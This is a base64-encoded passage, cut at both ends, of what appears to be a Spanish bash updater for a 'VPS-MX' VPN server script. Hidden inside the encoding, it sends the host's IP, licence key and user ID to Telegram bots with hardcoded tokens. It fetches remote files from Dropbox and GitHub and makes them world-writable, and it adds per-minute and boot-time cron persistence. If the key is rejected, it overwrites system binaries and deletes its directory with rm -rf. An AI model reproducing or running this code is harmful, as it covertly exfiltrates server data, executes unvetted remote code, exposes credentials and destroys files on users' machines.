lWzBtXG4gXGVbMjs5N21cZVszOzkzbSDina/ina/ina/ina8g8J2ZjvCdmL7wnZmN8J2ZhPCdmYvwnZmPIPCdmYjwnZmK8J2YvyDwnZmH8J2YvPCdmL7wnZi88J2ZjvCdmYTwnZmP8J2YvPCdmYjwnZmTIOKdruKdruKdruKdriAgXDAzM1swbSBcMDMzWzE7MzFtW1wwMzNbMTszMm0kdmVzYW9TQ1RcblxlWzkxbeKJquKUgeKUgeKUgOKUgeKUgOKUgeKUgeKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgeKUgOKUgeKUgOKUgeKUgOKXiOKUgOKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgeKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgeKUgeKUgOKUgeKUgOKUgeKJqyAgIFxlWzBtIiAmJiBlY2hvIC1lICIke1NFTUNPUn0ke2Nvcn0ke1NFTUNPUn0iOzsKICAtYmFyMykgJChbWyAhIC1lICQoZWNobyAtZSAkKGVjaG8gIjJGNzU3MzcyMkY2QzZGNjM2MTZDMkY2QzY5NjIyRjcyNkQifCBzZWQgJ3MvLi4vXFx4Ji9nO3MvJC8gLycpKSBdXSAmJiAkKCBhdmlzb19ib2NrID4gL2Rldi9udWxsIDI+JjEpKSAmJiBlY2hvIC1lICIke1NFTUNPUn0ke2Nvcn0ke1NFTUNPUn0iOzsKIGVzYWMKfQogIAlbWyAhIC1kIC91c3IvbG9jYWwvbGliL3NwZWQgXV0gJiYgZXhpdAogIAogIAogIGNoZWNrX0lQICgpIHsKS2V5PSIkKGNhdCAvZXRjL1ZQUy1NWC9rZXkudHh0KSIKQURNPSQoc2VkIC1uICcxIHAnIC91c3IvYmluL3ZlbmlwIHxjdXQgLWQnICcgLWYxKQojQURNPSQob2Z1cyAiJEtleSIgfCBncmVwIC12RSAnMTI3XC5bMC05XXsxLDN9XC5bMC05XXsxLDN9XC5bMC05XXsxLDN9JyB8IGdyZXAgLW8gLUUgJ1swLTldezEsM31cLlswLTldezEsM31cLlswLTldezEsM31cLlswLTldezEsM30nKSAmJiBlY2hvICIkQURNIiA+IC91c3IvYmluL3ZlbmlwCiAgSVAyPSIkKHdnZXQgLXFPLSBpZmNvbmZpZy5tZSkiCiAgcGVybWl0ZWQ9JChjdXJsIC1zU0wgImh0dHA6Ly8kQURNOjgxL2NoZWNraXAiKQogIFtbICQoZWNobyAkcGVybWl0ZWR8Z3JlcCAiJElQMiIpID0gIiIgXV0gJiYgewogIGNsZWFyICYmIGNsZWFyCiAgI2VjaG8gLWUgIglcZVsxOzEwMG1OT1RJRklDQUNJT04gRU5WSUFET1xlWzBtICIKIGVjaG8gJ2NsZWFyICYmIGVjaG8gLWUgIlxlWzE7OTFtPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cbiDCofCfk7VLRVkgQkFORUFEQfCfk7UhICBDT05UQUNURSBDT04gU1UgUFJPVkVET1IgICAgXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4iJyA+IC91c3IvYmluL3Zwcy1teCAmJiBjaG1vZCAreCAvdXNyL2Jpbi92cHMtbXggICYmIGNsZWFyCiAgZWNobyAnY2xlYXIgJiYgZWNobyAtZSAiXGVbMTs5MW09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuIMKh8J+TtUtFWSBCQU5FQURB8J+TtSEgIENPTlRBQ1RFIENPTiBTVSBQUk9WRURPUiAgICBcbj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG5cbiInID4gL3Vzci9iaW4vVlBTLU1YICYmIGNobW9kICt4IC91c3IvYmluL1ZQUy1NWCAmJiBjbGVhciAKICBlY2hvICdjbGVhciAmJiBlY2hvIC1lICJcZVsxOzkxbT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG4gwqHwn5O1S0VZIEJBTkVBREHwn5O1ISAgQ09OVEFDVEUgQ09OIFNVIFBST1ZFRE9SICAgIFxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cblxuIicgPiAvdXNyL2Jpbi9tZW51ICYmIGNobW9kICt4IC91c3IvYmluL21lbnUgJiYgY2xlYXIKIApybSAtcmYgL2V0Yy9WUFMtTVgvbWVudQogcm0gLXJmIC9ldGMvVlBTLU1YL2NvbnRyb2xhZG9yCiBybSAtcmYgL2V0Yy9WUFMtTVgvcHJvdG9jb2xvcwogcm0gLXJmIC9ldGMvVlBTLU1YL2hlcnJhbWllbnRhcy9BRE1ib3Quc2gKIAogY2xlYXI7IGNsZWFyCiB1c2VyaWQ9IiR7U0NQZGlyfS9JRCIKIAkJIFRPS0VOPSIyMDEyODgwNjAxOkFBRUozS2sxOFBHRHpXNTdMcFRNblZNbl9wUVlRS1czVjl3IgoJCQlVUkw9Imh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVE9LRU4vc2VuZE1lc3NhZ2UiCgkJCU1TRz0i8J+Rhz0g8J+TtUlQIEJBTkVBRE/wn5O1ID3wn5GHICAgIAog4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4peE4oCi4oCi4oCi4oCi4pa64pWQ4pWQ4pWQ4pWQ4pWQ4pWQCiBWZXJzaW9uOiAkKGNhdCAvZXRjL3ZlcnNpbl9zY3JpcHRfbmV3KQog4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4peE4oCi4oCi4oCi4oCi4pa64pWQ4pWQ4pWQ4pWQ4pWQ4pWQCiDwn4aUOiAkKGNhdCAke3VzZXJpZH0pCiDilZDilZDilZDilZDilZDilZDil4TigKLigKLigKLigKLilrrilZDilZDilZDilZDilZDilZAKIFVzdWFyaW86ICQoY2F0ICR7U0NQZGlyfS9tZXNzYWdlLnR4dCkKIOKVkOKVkOKVkOKVkOKVkOKVkOKXhOKAouKAouKAouKAouKWuuKVkOKVkOKVkOKVkOKVkOKVkAogSVA6ICQoY2F0ICR7U0NQZGlyfS9NRVVJUHZwcykKIOKVkOKVkOKVkOKVkOKVkOKVkOKXhOKAouKAouKAouKAouKWuuKVkOKVkOKVkOKVkOKVkOKVkAoiCmN1cmwgLXMgLS1tYXgtdGltZSAxMCAtZCAiY2hhdF9pZD02MDU1MzE0NTEmZGlzYWJsZV93ZWJfcGFnZV9wcmV2aWV3PTEmdGV4dD0kTVNHIiAkVVJMICY+L2Rldi9udWxsCgogc2xlZXAgMnMKICBleGl0ICYmIGV4aXQgCiAgfSB8fCB7CiAgZWNobyAiYWNjZXNvIGFjdGl2YWRvIiA+L2Jpbi9sYWNhc2l0YQogIH0KICBleGl0ICYmIGV4aXQgJiYgZXhpdAp9CgpjYW5iaW9fY29sb3IgKCkgewpjbGVhcgptc2cgLWJhcjIKbXNnIC10aXQKbXNnIC1hbWEgIiAgICAgQ09OVFJPTEFET1IgREUgQ09MT1JFUyBERUwgU0NSSVAgVlBTLU1YIgptc2cgLWJhcjIKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJTZWxlY2lvbmUgNyBjb3JlcyIpOiAiCmVjaG8gLWUgJ1wwMzNbMTszN20gWzFdICMjI1wwMzNbMG0nCmVjaG8gLWUgJ1xlWzMxbSBbMl0gIyMjXDAzM1swbScKZWNobyAtZSAnXGVbMzJtIFszXSAjIyNcMDMzWzBtJwplY2hvIC1lICdcZVszM20gWzRdICMjI1wwMzNbMG0nCmVjaG8gLWUgJ1xlWzM0bSBbNV0gIyMjXDAzM1swbScKZWNobyAtZSAnXGVbMzVtIFs2XSAjIyNcMDMzWzBtJwplY2hvIC1lICdcMDMzWzE7MzZtIFs3XSAjIyNcMDMzWzBtJwptc2cgLWJhcjIKZm9yIG51bWJlciBpbiAkKGVjaG8gezEuLjd9KTsgZG8KbXNnIC1uZSAiJChmdW5fdHJhbnMgIkRpZ2l0ZSB1biBDb2xvciIpIFskbnVtYmVyXTogIiAmJiByZWFkIGNvcnNlbGVjdApbWyAkY29yc2VsZWN0ICE9IEAoWzEtN10pIF1dICYmIGNvcnNlbGVjdD0xCmNvcmVzKz0iJGNvcnNlbGVjdCAiCmNvcnNlbGVjdD0wCmRvbmUKZWNobyAiJGNvcmVzIiA+IC9ldGMvVlBTLU1YL2NvbG9ycwptc2cgLWJhcjIKfQpmdW5fdHJhbnMgKCkgeyAKbG9jYWwgdGV4dG8KbG9jYWwgcmV0b3JubwpkZWNsYXJlIC1BIHRleHRvClNDUGlkaW9tYT0iJHtTQ1BkaXJ9L2lkaW9tYSIKW1sgISAtZSAke1NDUGlkaW9tYX0gXV0gJiYgdG91Y2ggJHtTQ1BpZGlvbWF9CmxvY2FsIExJTkdVQUdFPSQoY2F0ICR7U0NQaWRpb21hfSkKW1sgLXogJExJTkdVQUdFIF1dICYmIExJTkdVQUdFPWVzCltbICRMSU5HVUFHRSA9ICJlcyIgXV0gJiYgZWNobyAiJEAiICYmIHJldHVybgpbWyAhIC1lIC91c3IvYmluL3RyYW5zIF1dICYmIHdnZXQgLU8gL3Vzci9iaW4vdHJhbnMgaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NjcmlwdHNteC9zY3JpcHQvbWFzdGVyL0luc3RhbGwvdHJhbnMgJj4gL2Rldi9udWxsCltbICEgLWUgL2V0Yy9WUFMtTVgvdGV4dG8tbXggXV0gJiYgdG91Y2ggL2V0Yy9WUFMtTVgvdGV4dG8tbXgKc291cmNlIC9ldGMvVlBTLU1YL3RleHRvLW14CmlmIFtbIC16ICIkKGVjaG8gJHt0ZXh0b1skQF19KSIgXV07IHRoZW4KI0VOR0lORVM9KGFzcGVsbCBnb29nbGUgZGVlcGwgYmluZyBzcGVsbCBodW5zcGVsbCBhcGVydGl1bSB5YW5kZXgpCiNOVU09IiQoKCRSQU5ET00lJHsjRU5HSU5FU1tAXX0pKSIKcmV0b3Jubz0iJChzb3VyY2UgdHJhbnMgLWUgYmluZyAtYiBlczoke0xJTkdVQUdFfSAiJEAifHNlZCAtZSAncy9bXmEtejAtOSAtXS8vaWcnIDI+L2Rldi9udWxsKSIKZWNobyAidGV4dG9bJEBdPSckcmV0b3JubyciICA+PiAvZXRjL1ZQUy1NWC90ZXh0by1teAplY2hvICIkcmV0b3JubyIKZWxzZQplY2hvICIke3RleHRvWyRAXX0iCmZpCn0KZnVuY3Rpb25fdmVyaWZ5ICgpIHsKICBwZXJtaXRlZD0kKGN1cmwgLXNTTCAiaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy9ubWF1Mnc4dmViZXdwcTMvY29udHJvbCIpCiAgW1sgJChlY2hvICRwZXJtaXRlZHxncmVwICIke0lQfSIpID0gIiIgXV0gJiYgewogIGNsZWFyCiAgZWNobyAtZSAiXG5cblxuXDAzM1sxOzkxbeKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlFxuICAgICAgwqFFU1RBIEtFWSBOTyBDT05DVUVSREEgQ09OIEVMIElOU1RBTEFET1IhIFxu4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCUXG5cblxuIgogIFtbIC1kIC9ldGMvVlBTLU1YIF1dICYmIHJtIC1yZiAvZXRjL1ZQUy1NWAogIGV4aXQgMQogIH0gfHwgewogICMjIyBJTlRBTEFSIFZFUlNJT04gREUgU0NSSVBUCiAgdjE9JChjdXJsIC1zU0wgImh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9sYWNhc2l0YW14L3ZlcnNpb24vbWFzdGVyL3ZlcmNpb24iKQogIGVjaG8gIiR2MSIgPiAvZXRjL3ZlcnNpbl9zY3JpcHQKICBlY2hvICIkdjEiID4gL2V0Yy92ZXJzaW5fc2NyaXB0X25ldwogIH0KfQphdHVhbGl6YV9mdW4gKCkgewpmdW5faXAgClNDUGluc3RhbD0iJEhPTUUvaW5zdGFsbCIKdmVyaWZpY2FyX2FycSAoKSB7CmNhc2UgJDEgaW4KIm1lbnUifCJtZXNzYWdlLnR4dCJ8IklEIilBUlE9IiR7U0NQZGlyfS8iOzsgI01lbnUKInVzZXJjb2RlcyIpQVJRPSIke1NDUHVzcn0vIjs7ICNQYW5lbCBTU1JSCiJDLVNTUi5zaCJ8InByb3h5LnNoInwid2lyZWd1YXJkLnNoIilBUlE9IiR7U0NQaW5zdH0vIjs7ICNQYW5lbCBTU1IKIm9wZW5zc2guc2giKUFSUT0iJHtTQ1BpbnN0fS8iOzsgI09wZW5WUE4KInNxdWlkLnNoIilBUlE9IiR7U0NQaW5zdH0vIjs7ICNTcXVpZAoiZHJvcGJlYXIuc2giKUFSUT0iJHtTQ1BpbnN0fS8iOzsgI0luc3RhbGFjYW8KIm9wZW52cG4uc2giKUFSUT0iJHtTQ1BpbnN0fS8iOzsgI0luc3RhbGFjYW8KInNzbC5zaCIpQVJRPSIke1NDUGluc3R9LyI7OyAjSW5zdGFsYWNhbwoic2hhZG93c29ja3Muc2gifCJwcm94eS5zaCJ8InB5dGhvbi5weSIpQVJRPSIke1NDUGluc3R9LyI7OyAjSW5zdGFsYWNhbwoiU2hhZG93c29ja3MtbGliZXYuc2gifCJzbG93ZG5zLnNoIilBUlE9IiR7U0NQaW5zdH0vIjs7ICNJbnN0YWxhY2FvCiJTaGFkb3dzb2Nrcy1SLnNoIilBUlE9IiR7U0NQaW5zdH0vIjs7ICNJbnN0YWxhY2FvIAoidjJyYXkuc2giKUFSUT0iJHtTQ1BpbnN0fS8iOzsgI0luc3RhbGFjYW8KImJ1ZHAuc2giKUFSUT0iJHtTQ1BpbnN0fS8iOzsgI0luc3RhbGFjYW8KIm5hbWUiKUFSUT0iJHtTQ1BkaXJ9L3RtcC8iOzsgI0luc3RhbGFjYW8KInNvY2tzcHkuc2gifCJQRGlyZWN0LnB5InwiUFB1Yi5weSJ8IlBQcml2LnB5InwiUE9wZW4ucHkifCJQR2V0LnB5InwicHl0aG9uLnB5IilBUlE9IiR7U0NQaW5zdH0vIjs7ICNJbnN0YWxhY2FvCiopQVJRPSIke1NDUGZybX0vIjs7ICNIZXJyYW1pZW50YXMKZXNhYwptdiAtZiAke1NDUGluc3RhbH0vJDEgJHtBUlF9LyQxCmNobW9kICt4ICR7QVJRfS8kMQp9CmVycm9yX2Z1biAoKSB7Cm1zZyAtYmFyMiAmJiBtc2cgLXZlcm0gIkVSUk9SIGVudHJlIFZQUzwtLT5HRU5FUkFET1IgKFBvcnQgODEgVENQKSIgJiYgbXNnIC1iYXIyCltbIC1kICR7U0NQaW5zdGFsfSBdXSAmJiBybSAtcmYgJHtTQ1BpbnN0YWx9CmV4aXQgMQp9CmludmFsaWRfa2V5ICgpIHsKbXNnIC1iYXIyICYmIG1zZyAtdmVybSAiICBDb2RlIEludmFsaWRvIC0tICPCoUtleSBJbnZhbGlkYSMhICIgJiYgbXNnIC1iYXIyCltbIC1lICRIT01FL2xpc3RhLWFycSBdXSAmJiBybSAtciAkSE9NRS9saXN0YS1hcnEKZXhpdCAxCn0Kd2hpbGUgW1sgISAkS2V5IF1dOyBkbwpjbGVhcgpjbGVhcgptc2cgLWJhcgptc2cgLXRpdAplY2hvIC1lICJcMDMzWzE7OTFtCQlcZVszOzEwMG1BQ1RVQUxJWkFDSU9OIERFTCBTQ1JJUFQgXGVbMG0iCm1zZyAtYmFyMiAmJiBtc2cgLW5lICJcMDMzWzE7OTNtICAgICAgICAgID4+PiBJTlRST0RVWkNBIExBIEtFWSBBQkFKTyA8PDxcbiAgIFwwMzNbMTszN20iICYmIHJlYWQgS2V5CnRwdXQgY3V1MSAmJiB0cHV0IGRsMQpkb25lCm1zZyAtbmUgIiAgICAjIFZlcmlmaWNhbmRvIEtleSAjIDogIgpjZCAkSE9NRQp3Z2V0IC1PICRIT01FL2xpc3RhLWFycSAkKG9mdXMgIiRLZXkiKS8kSVAgPiAvZGV2L251bGwgMj4mMSAmJiBlY2hvIC1lICJcMDMzWzE7MzJtIENvZGUgQ29ycmVjdG8gZGUgS0VZIiB8fCB7CiAgIGVjaG8gLWUgIlwwMzNbMTs5MW0gQ29kZSBJbmNvcnJlY3RvIGRlIEtFWSIKICAgaW52YWxpZF9rZXkKICAgZXhpdAogICB9CklQPSQob2Z1cyAiJEtleSIgfCBncmVwIC12RSAnMTI3XC5bMC05XXsxLDN9XC5bMC05XXsxLDN9XC5bMC05XXsxLDN9JyB8IGdyZXAgLW8gLUUgJ1swLTldezEsM31cLlswLTldezEsM31cLlswLTldezEsM31cLlswLTldezEsM30nKSAmJiBlY2hvICIkSVAiID4gL3Vzci9iaW4vdmVuZG9yX2NvZGUKc2xlZXAgMC4xcwoKZnVuY3Rpb25fdmVyaWZ5CnVwZGF0ZWRiCgoKaWYgW1sgLWUgJEhPTUUvbGlzdGEtYXJxIF1dICYmIFtbICEgJChjYXQgJEhPTUUvbGlzdGEtYXJxfGdyZXAgIkNvZGUgZGUgS0VZIEludmFsaWRvISIpIF1dOyB0aGVuCiAgIG1zZyAtYmFyMgogICBtc2cgLXZlcmQgIiAgICAkKHNvdXJjZSB0cmFucyAtYiBlczplcyAiRmljaGVyb3MgQ29waWFkb3MifHNlZCAtZSAncy9bXmEteiAtXS8vaWcnKTogXGVbOTdtW1xlWzkzbVNDUklQVCBNT0QgQGNvbmVjdGVkbXhfYm90XGVbOTdtXSIKICAgUkVRVUVTVD0kKG9mdXMgIiRLZXkifGN1dCAtZCcvJyAtZjIpCiAgIFtbICEgLWQgJHtTQ1BpbnN0YWx9IF1dICYmIG1rZGlyICR7U0NQaW5zdGFsfQogICBwb250b3M9Ii4iIAogICBzdG9wcGluZz0iQ29uZmlndXJhbmRvIERpcmVjdG9yaW9zIgogICBmb3IgYXJxeCBpbiAkKGNhdCAkSE9NRS9saXN0YS1hcnEpOyBkbwogICBtc2cgLXZlcm0gIiR7c3RvcHBpbmd9JHtwb250b3N9IiAKICAgd2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1PICR7U0NQaW5zdGFsfS8ke2FycXh9ICR7SVB9OjgxLyR7UkVRVUVTVH0vJHthcnF4fSA+IC9kZXYvbnVsbCAyPiYxICYmIHZlcmlmaWNhcl9hcnEgIiR7YXJxeH0iIHx8IGVycm9yX2Z1bgogICB0cHV0IGN1dTEgJiYgdHB1dCBkbDEKICAgcG9udG9zKz0iLiIKICAgZG9uZQp1c2VyaWQ9IiR7U0NQZGlyfS9JRCIKaWYgW1sgJChjYXQgJHt1c2VyaWR9fGdyZXAgIjYwNTUzMTQ1MSIpID0gIiIgXV07IHRoZW4KCQkJYWN0aXY9JChjYXQgJHt1c2VyaWR9KQogCQkgVE9LRU49IjEyMzU0MTM3Mzc6QUFFV0xmZmoxRk80R1E1SXdvbzRYdkltNEVTbEZqSEEwX0EiCgkJCVVSTD0iaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUT0tFTi9zZW5kTWVzc2FnZSIKCQkJTVNHPSLwn5GHPSBTQ1JJUFQgQUNUVUFMSVpBRE8gPfCfkYcgICAgCiDil4TilZDilZDilZDilZDilZDilZDil4TigKLigKLil6nigKLigKLilrrilZDilZDilZDilZDilZDilZDilroKIFZlcnNpb246ICQoY2F0IC9ldGMvdmVyc2luX3NjcmlwdF9uZXcpIElOU1RBTEFETwogQ2xpZW50ZTogJChjYXQgJHtTQ1BkaXJ9L3RtcC9uYW1lKQog8J+GlDogJChjYXQgJHt1c2VyaWR9KQogU2xvZ2FuOiAkKGNhdCAke1NDUGRpcn0vbWVzc2FnZS50eHQpCiDil4TilZDilZDilZDilZDilZDilZDil4TigKLigKLil6nigKLigKLilrrilZDilZDilZDilZDilZDilZDilroKIElQOiAkKGNhdCAke1NDUGRpcn0vTUVVSVB2cHMpCiDil4TilZDilZDilZDilZDilZDilZDil4TigKLigKLil6nigKLigKLilrrilZDilZDilZDilZDilZDilZDilroKIEtFWTpbICRLZXkgXSBVc2FkYQog4peE4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4peE4oCi4oCi4pep4oCi4oCi4pa64pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pa6CiA9PU5PVElGSUNBRE9SIERFIEtFWT09CiDil4TilZDilZDilZDilZDilZDilZDil4TigKLigKLil6nigKLigKLilrrilZDilZDilZDilZDilZDilZDilroKIgpjdXJsIC1zIC0tbWF4LXRpbWUgMTAgLWQgImNoYXRfaWQ9JGFjdGl2JmRpc2FibGVfd2ViX3BhZ2VfcHJldmlldz0xJnRleHQ9JE1TRyIgJFVSTCAmPi9kZXYvbnVsbApjdXJsIC1zIC0tbWF4LXRpbWUgMTAgLWQgImNoYXRfaWQ9NjA1NTMxNDUxJmRpc2FibGVfd2ViX3BhZ2VfcHJldmlldz0xJnRleHQ9JE1TRyIgJFVSTCAmPi9kZXYvbnVsbAplbHNlClRPS0VOPSIxMjM1NDEzNzM3OkFBRVdMZmZqMUZPNEdRNUl3b280WHZJbTRFU2xGakhBMF9BIgoJCQlVUkw9Imh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVE9LRU4vc2VuZE1lc3NhZ2UiCgkJCU1TRz0i8J+Rhz0gU0NSSVBUIEFDVFVBTElaQURPID3wn5GHICAgIAril4TilZDilZDilZDilZDilZDilZDil4TigKLigKLil6nigKLigKLilrrilZDilZDilZDilZDilZDilZDilroKIFZlcnNpb246ICQoY2F0IC9ldGMvdmVyc2luX3NjcmlwdF9uZXcpIElOU1RBTEFETwogQ2xpZW50ZTogJChjYXQgJHtTQ1BkaXJ9L3RtcC9uYW1lKQog8J+GlDogJChjYXQgJHt1c2VyaWR9KQogU2xvZ2FuOiAkKGNhdCAke1NDUGRpcn0vbWVzc2FnZS50eHQpCiDil4TilZDilZDilZDilZDilZDilZDil4TigKLigKLil6nigKLigKLilrrilZDilZDilZDilZDilZDilZDilroKIElQOiAkKGNhdCAke1NDUGRpcn0vTUVVSVB2cHMpCiDil4TilZDilZDilZDilZDilZDilZDil4TigKLigKLil6nigKLigKLilrrilZDilZDilZDilZDilZDilZDilroKIEtFWTpbICRLZXkgXSBVc2FkYQog4peE4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4peE4oCi4oCi4pep4oCi4oCi4pa64pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pa6CiA9PU5PVElGSUNBRE9SIERFIEtFWT09CiDil4TilZDilZDilZDilZDilZDilZDil4TigKLigKLil6nigKLigKLilrrilZDilZDilZDilZDilZDilZDilroKIgpjdXJsIC1zIC0tbWF4LXRpbWUgMTAgLWQgImNoYXRfaWQ9NjA1NTMxNDUxJmRpc2FibGVfd2ViX3BhZ2VfcHJldmlldz0xJnRleHQ9JE1TRyIgJFVSTCAmPi9kZXYvbnVsbApmaQoKCVtbICEgLWQgJHtTQ1BkaXJ9L3RtcCBdXSAmJiBta2RpciAke1NDUGRpcn0vdG1wCiAgIHdnZXQgLU8gJHtTQ1BkaXJ9L3RtcC92ZXJpZmkgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy90djd5aXM4OWF1NXY4c3YvdmVyaWZpICY+L2Rldi9udWxsCiAgIHdnZXQgLU8gJHtTQ1BkaXJ9L3RtcC9tb25pdG9yIGh0dHBzOi8vd3d3LmRyb3Bib3guY29tL3MvendxaHU3Z2F2cnU2bDlpL21vbml0b3IgJj4vZGV2L251bGwKICAgd2dldCAtTyAke1NDUGRpcn0vdG1wL2F1dG9kZXMgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy9md2Nvcjl0Ymtzbnl1eHkvYXV0b2RlcyAmPi9kZXYvbnVsbAogICB3Z2V0IC1PIC9ldGMvVlBTLU1YL3RtcC9zdHlsZSBodHRwczovL3d3dy5kcm9wYm94LmNvbS9zL2YzM21pMzBsYnhhd3ZrdS9zdHlsZSAmPi9kZXYvbnVsbAogICBjaG1vZCA3NzcgJHtTQ1BkaXJ9LyoKICMgIHdnZXQgLU8gL2V0Yy9WUFMtTVgvcHJvdG9jb2xvcy9zc2w1LnNoIGh0dHBzOi8vd3d3LmRyb3Bib3guY29tL3MvYWx5NzNsYmJoNzRyN3R1L3NzbDUuc2ggJj4vZGV2L251bGwKICAgI2NobW9kIDc3NyAvZXRjL1ZQUy1NWC9wcm90b2NvbG9zL3NzbDUuc2gKICAgd2dldCAtTyAvZXRjL1ZQUy1NWC9wcm90b2NvbG9zL2NoZWt1c2VyLnNoIGh0dHBzOi8vd3d3LmRyb3Bib3guY29tL3MvZHlwam9tZGhqaGtwYWhrL2NoZWt1c2VyLnNoICY+L2Rldi9udWxsCiAgIGNobW9kIDc3NyAvZXRjL1ZQUy1NWC9wcm90b2NvbG9zL2NoZWt1c2VyLnNoCiAgIHdnZXQgLU8gL2V0Yy9WUFMtTVgvcHJvdG9jb2xvcy9jaGVrdXNlci5weSBodHRwczovL3d3dy5kcm9wYm94LmNvbS9zLzdoZTgzcWQ1cGZ6bnJ2aC9jaGVrdXNlci5weSAmPi9kZXYvbnVsbAogICBjaG1vZCA3NzcgL2V0Yy9WUFMtTVgvcHJvdG9jb2xvcy9jaGVrdXNlci5weQogICBtc2cgLWJhcjIKICAgbGlzdGFhcnFzPSIkKGxvY2F0ZSAibGlzdGEtYXJxInxoZWFkIC0xKSIgJiYgW1sgLWUgJHtsaXN0YWFycXN9IF1dICYmIHJtICRsaXN0YWFycXMgICAKICAgY2F0IC9ldGMvYmFzaC5iYXNocmN8Z3JlcCAtdiAnW1sgJFVJRCAhPSAwIF1dICYmIFRNT1VUPTE1ICYmIGV4cG9ydCBUTU9VVCcgPiAvZXRjL2Jhc2guYmFzaHJjLjIKICAgZWNobyAtZSAnW1sgJFVJRCAhPSAwIF1dICYmIFRNT1VUPTE1ICYmIGV4cG9ydCBUTU9VVCcgPj4gL2V0Yy9iYXNoLmJhc2hyYy4yCiAgIG12IC1mIC9ldGMvYmFzaC5iYXNocmMuMiAvZXRjL2Jhc2guYmFzaHJjCiAgIGVjaG8gIiR7U0NQZGlyfS9tZW51IiA+IC91c3IvYmluL21lbnUgJiYgY2htb2QgK3ggL3Vzci9iaW4vbWVudQogICBlY2hvICIke1NDUGRpcn0vbWVudSIgPiAvdXNyL2Jpbi9WUFNNWCAmJiBjaG1vZCAreCAvdXNyL2Jpbi9WUFNNWAogICBlY2hvICIkS2V5IiA+ICR7U0NQZGlyfS9rZXkudHh0CiAgIFtbIC1kICR7U0NQaW5zdGFsfSBdXSAmJiBybSAtcmYgJHtTQ1BpbnN0YWx9CiAgIGV4cG9ydCBQQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2JpbjovdXNyL2dhbWVzLwoJcm0gLXJmIC9yb290L2xpc3RhLWFycQoJW1sgISAtZSAvZXRjL2F1dG9zdGFydCBdXSAmJiB7CgllY2hvICcjIS9iaW4vYmFzaApjbGVhcgojSU5JQ0lPIEFVVE9NQVRJQ08nID4vZXRjL2F1dG9zdGFydAoJY2htb2QgK3ggL2V0Yy9hdXRvc3RhcnQKfSB8fCB7CgkjW1sgJChwcyB4IHwgZ3JlcCAiYm90X3BsdXMiIHwgZ3JlcCAtdiBncmVwIHwgd2MgLWwpICE9ICcwJyBdXSAmJiB3Z2V0IC1xTy0gaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2NhcmVjYWdtL21haW4vSW5zdGFsbC9TaGVsbEJvdC5zaCA+L2V0Yy9TU0hQbHVzL1NoZWxsQm90LnNoCglmb3IgcHJvYyBpbiAkKHBzIHggfCBncmVwICdkbVMnIHwgZ3JlcCAtdiAnZ3JlcCcgfCBhd2sgeydwcmludCAkMSd9KTsgZG8KCQlzY3JlZW4gLXIgLVMgIiRwcm9jIiAtWCBxdWl0Cglkb25lCglzY3JlZW4gLXdpcGUgPi9kZXYvbnVsbAoJZWNobyAnIyEvYmluL2Jhc2gKY2xlYXIKI0lOSUNJTyBBVVRPTUFUSUNPJyA+L2V0Yy9hdXRvc3RhcnQKCWNobW9kICt4IC9ldGMvYXV0b3N0YXJ0Cn0KY3JvbnRhYiAtciA+L2Rldi9udWxsIDI+JjEKKAoJY3JvbnRhYiAtbCAyPi9kZXYvbnVsbAoJZWNobyAiQHJlYm9vdCAvZXRjL2F1dG9zdGFydCIKCWVjaG8gIiogKiAqICogKiAvZXRjL2F1dG9zdGFydCIKKSB8IGNyb250YWIgLQogICBbWyAkeyNpZH0gLWd0IDIgXV0gJiYgZWNobyAiZXMiID4gJHtTQ1BpZGlvbWF9IHx8IGVjaG8gImVzIiA+ICR7U0NQaWRpb21hfQogICBlY2hvIC1lICIke2NvclsyXX0gICAgICAgICAgICAgICBBQ1RVQUxJWkFDSU9OIENPTVBMRVRBICIKICAgZWNobyAtZSAiICAgICAgICAgQ09NQU5